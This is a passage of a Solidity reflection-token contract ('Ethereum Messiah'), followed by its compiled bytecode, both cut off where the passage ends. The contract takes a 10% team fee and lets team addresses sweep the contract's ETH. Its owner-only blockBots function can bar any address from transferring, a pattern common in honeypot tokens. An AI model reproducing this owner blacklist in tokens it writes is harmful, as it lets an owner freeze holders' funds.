balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 2; _teamFee = 10; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; _lastSellTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612bed565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e91906130d4565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612bb1565b6105e1565b6040516101ab91906130b9565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906132b6565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b62565b610610565b60405161021391906130b9565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061332b565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612c2e565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612ad4565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612ad4565b61090e565b6040516102e491906132b6565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c80565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612feb565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a91906130d4565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612bb1565b610bfa565b6040516103b791906130b9565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c80565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612b26565b610d61565b60405161041d91906132b6565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b50610452611362565b005b61045c6113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e0906131f6565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906135cc565b9150506104ec565b5050565b60606040518060400160405280601081526020017f457468657265756d204d65737369616800000000000000000000000000000000815250905090565b60006105f56105ee6113d4565b84846113dc565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a7565b6106de846106296113d4565b6106d985604051806060016040528060288152602001613a4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de39092919063ffffffff16565b6113dc565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113d4565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611e47565b50565b6107746113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f8906131f6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa906131f6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612141565b9050919050565b6109676113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb906131f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906131f6565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190613176565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f654d657373696168000000000000000000000000000000000000000000000000815250905090565b6000610c0e610c076113d4565b84846115a7565b6001905092915050565b610c206113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906131f6565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613196565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea000006121af90919063ffffffff16565b61222a90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d5691906132b6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e74906131f6565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec4906131b6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113dc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612afd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612afd565b6040518363ffffffff1660e01b8152600401611092929190613006565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612afd565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190613058565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612ca9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506002600881905550600a6009819055506729a2241af62c00006010819055506001600f60146101000a81548160ff0219169083151502179055504260128190555042601381905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161130c92919061302f565b602060405180830381600087803b15801561132657600080fd5b505af115801561133a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135e9190612c57565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113a36113d4565b73ffffffffffffffffffffffffffffffffffffffff16146113c357600080fd5b60004790506113d181612274565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561144c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144390613256565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b390613136565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159a91906132b6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e90613236565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e906130f6565b60405180910390fd5b600081116116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c190613216565b60405180910390fd5b6116d2610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117405750611710610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2057600f60179054906101000a900460ff1615611973573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118bc6113d4565b73ffffffffffffffffffffffffffffffffffffffff1614806119325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661191a6113d4565b73ffffffffffffffffffffffffffffffffffffffff16145b611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890613276565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a175750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a2057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611acb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b395750600f60179054906101000a900460ff165b15611c0e5761012c601254611b4e91906133ec565b421015611c0d5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ba057600080fd5b601054811115611baf57600080fd5b6001601154611bbe9190613473565b42611bc991906133ec565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c193061090e565b9050600f60159054906101000a900460ff16158015611c865750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c9e5750600f60169054906101000a900460ff165b15611d1e576078601354611cb291906133ec565b421015611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb90613296565b60405180910390fd5b42601381905550611d0481611e47565b60004790506000811115611d1c57611d1b47612274565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dc75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611dd157600090505b611ddd8484848461236f565b50505050565b6000838311158290611e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2291906130d4565b60405180910390fd5b5060008385611e3a91906134cd565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ed35781602001602082028036833780820191505090505b5090503081600081518110611f11577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fb357600080fd5b505afa158015611fc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611feb9190612afd565b81600181518110612025577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113dc565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f09594939291906132d1565b600060405180830381600087803b15801561210a57600080fd5b505af115801561211e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217f90613116565b60405180910390fd5b600061219261239c565b90506121a7818461222a90919063ffffffff16565b915050919050565b6000808314156121c25760009050612224565b600082846121d09190613473565b90508284826121df9190613442565b1461221f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612216906131d6565b60405180910390fd5b809150505b92915050565b600061226c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123c7565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122c460028461222a90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122ef573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61234060028461222a90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561236b573d6000803e3d6000fd5b5050565b8061237d5761237c61242a565b5b61238884848461245b565b8061239657612395612626565b5b50505050565b60008060006123a9612638565b915091506123c0818361222a90919063ffffffff16565b9250505090565b6000808311829061240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240591906130d4565b60405180910390fd5b506000838561241d9190613442565b9050809150509392505050565b600060085414801561243e57506000600954145b1561244857612459565b600060088190555060006009819055505b565b60008060008060008061246d8761269a565b9550955095509550955095506124cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ac816127aa565b6125b68483612867565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261391906132b6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061266e683635c9adc5dea0000060065461222a90919063ffffffff16565b82101561268d57600654683635c9adc5dea00000935093505050612696565b81819350935050505b9091565b60008060008060008060008060006126b78a6008546009546128a1565b92509250925060006126c761239c565b905060008060006126da8e878787612937565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de3565b905092915050565b600080828461275b91906133ec565b9050838110156127a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279790613156565b60405180910390fd5b8091505092915050565b60006127b461239c565b905060006127cb82846121af90919063ffffffff16565b905061281f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287c8260065461270290919063ffffffff16565b6006819055506128978160075461274c90919063ffffffff16565b6007819055505050565b6000806000806128cd60646128bf888a6121af90919063ffffffff16565b61222a90919063ffffffff16565b905060006128f760646128e9888b6121af90919063ffffffff16565b61222a90919063ffffffff16565b9050600061292082612912858c61270290919063ffffffff16565b61270290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061295085896121af90919063ffffffff16565b9050600061296786896121af90919063ffffffff16565b9050600061297e87896121af90919063ffffffff16565b905060006129a782612999858761270290919063ffffffff16565b61270290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129d36129ce8461336b565b613346565b905080838252602082019050828560208602820111156129f257600080fd5b60005b85811015612a225781612a088882612a2c565b8452602084019350602083019250506001810190506129f5565b5050509392505050565b600081359050612a3b816139fb565b92915050565b600081519050612a50816139fb565b92915050565b600082601f830112612a6757600080fd5b8135612a778482602086016129c0565b91505092915050565b600081359050612a8f81613a12565b92915050565b600081519050612aa481613a12565b92915050565b600081359050612ab981613a29565b92915050565b600081519050612ace81613a29565b92915050565b600060208284031215612ae657600080fd5b6000612af484828501612a2c565b91505092915050565b600060208284031215612b0f57600080fd5b6000612b1d84828501612a41565b91505092915050565b60008060408385031215612b3957600080fd5b6000612b4785828601612a2c565b9250506020612b5885828601612a2c565b9150509250929050565b600080600060608486031215612b7757600080fd5b6000612b8586828701612a2c565b9350506020612b9686828701612a2c565b9250506040612ba786828701612aaa565b9150509250925092565b60008060408385031215612bc457600080fd5b6000612bd285828601612a2c565b9250506020612be385828601612aaa565b9150509250929050565b600060208284031215612bff57600080fd5b600082013567ffffffffffffffff811115612c1957600080fd5b612c2584828501612a56565b91505092915050565b600060208284031215612c4057600080fd5b6000612c4e84828501612a80565b91505092915050565b600060208284031215612c6957600080fd5b6000612c7784828501612a95565b91505092915050565b600060208284031215612c9257600080fd5b6000612ca084828501612aaa565b91505092915050565b600080600060608486031215612cbe57600080fd5b6000612ccc86828701612abf565b9350506020612cdd86828701612abf565b9250506040612cee86828701612abf565b9150509250925092565b6000612d048383612d10565b60208301905092915050565b612d1981613501565b82525050565b612d2881613501565b82525050565b6000612d39826133a7565b612d4381856133ca565b9350612d4e83613397565b8060005b83811015612d7f578151612d668882612cf8565b9750612d71836133bd565b925050600181019050612d52565b5085935050505092915050565b612d9581613513565b82525050565b612da481613556565b82525050565b6000612db5826133b2565b612dbf81856133db565b9350612dcf818560208601613568565b612dd8816136a2565b840191505092915050565b6000612df06023836133db565b9150612dfb826136b3565b604082019050919050565b6000612e13602a836133db565b9150612e1e82613702565b604082019050919050565b6000612e366022836133db565b9150612e4182613751565b604082019050919050565b6000612e59601b836133db565b9150612e64826137a0565b602082019050919050565b6000612e7c601b836133db565b9150612e87826137c9565b602082019050919050565b6000612e9f601d836133db565b9150612eaa826137f2565b602082019050919050565b6000612ec26017836133db565b9150612ecd8261381b565b602082019050919050565b6000612ee56021836133db565b9150612ef082613844565b604082019050919050565b6000612f086020836133db565b9150612f1382613893565b602082019050919050565b6000612f2b6029836133db565b9150612f36826138bc565b604082019050919050565b6000612f4e6025836133db565b9150612f598261390b565b604082019050919050565b6000612f716024836133db565b9150612f7c8261395a565b604082019050919050565b6000612f946011836133db565b9150612f9f826139a9565b602082019050919050565b6000612fb76018836133db565b9150612fc2826139d2565b602082019050919050565b612fd68161353f565b82525050565b612fe581613549565b82525050565b60006020820190506130006000830184612d1f565b92915050565b600060408201905061301b6000830185612d1f565b6130286020830184612d1f565b9392505050565b60006040820190506130446000830185612d1f565b6130516020830184612fcd565b9392505050565b600060c08201905061306d6000830189612d1f565b61307a6020830188612fcd565b6130876040830187612d9b565b6130946060830186612d9b565b6130a16080830185612d1f565b6130ae60a0830184612fcd565b979650505050505050565b60006020820190506130ce6000830184612d8c565b92915050565b600060208201905081810360008301526130ee8184612daa565b905092915050565b6000602082019050818103600083015261310f81612de3565b9050919050565b6000602082019050818103600083015261312f81612e06565b9050919050565b6000602082019050818103600083015261314f81612e29565b9050919050565b6000602082019050818103600083015261316f81612e4c565b9050919050565b6000602082019050818103600083015261318f81612e6f565b9050919050565b600060208201905081810360008301526131af81612e92565b9050919050565b600060208201905081810360008301526131cf81612eb5565b9050919050565b600060208201905081810360008301526131ef81612ed8565b9050919050565b6000602082019050818103600083015261320f81612efb565b9050919050565b6000602082019050818103600083015261322f81612f1e565b9050919050565b6000602082019050818103600083015261324f81612f41565b9050919050565b6000602082019050818103600083015261326f81612f64565b9050919050565b6000602082019050818103600083015261328f81612f87565b9050919050565b600060208201905081810360008301526132af81612faa565b9050919050565b60006020820190506132cb6000830184612fcd565b92915050565b600060a0820190506132e66000830188612fcd565b6132f36020830187612d9b565b81810360408301526133058186612d2e565b90506133146060830185612d1f565b6133216080830184612fcd565b9695505050505050565b60006020820190506133406000830184612fdc565b92915050565b6000613350613361565b905061335c828261359b565b919050565b6000604051905090565b600067ffffffffffffffff82111561338657613385613673565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133f78261353f565b91506134028361353f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561343757613436613615565b5b828201905092915050565b600061344d8261353f565b91506134588361353f565b92508261346857613467613644565b5b828204905092915050565b600061347e8261353f565b91506134898361353f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134c2576134c1613615565b5b828202905092915050565b60006134d88261353f565b91506134e38361353f565b9250828210156134f6576134f5613615565b5b828203905092915050565b600061350c8261351f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135618261353f565b9050919050565b60005b8381101561358657808201518184015260208101905061356b565b83811115613595576000848401525b50505050565b6135a4826136a2565b810181811067ffffffffffffffff821117156135c3576135c2613673565b5b80604052505050565b60006135d78261353f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561360a57613609613615565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602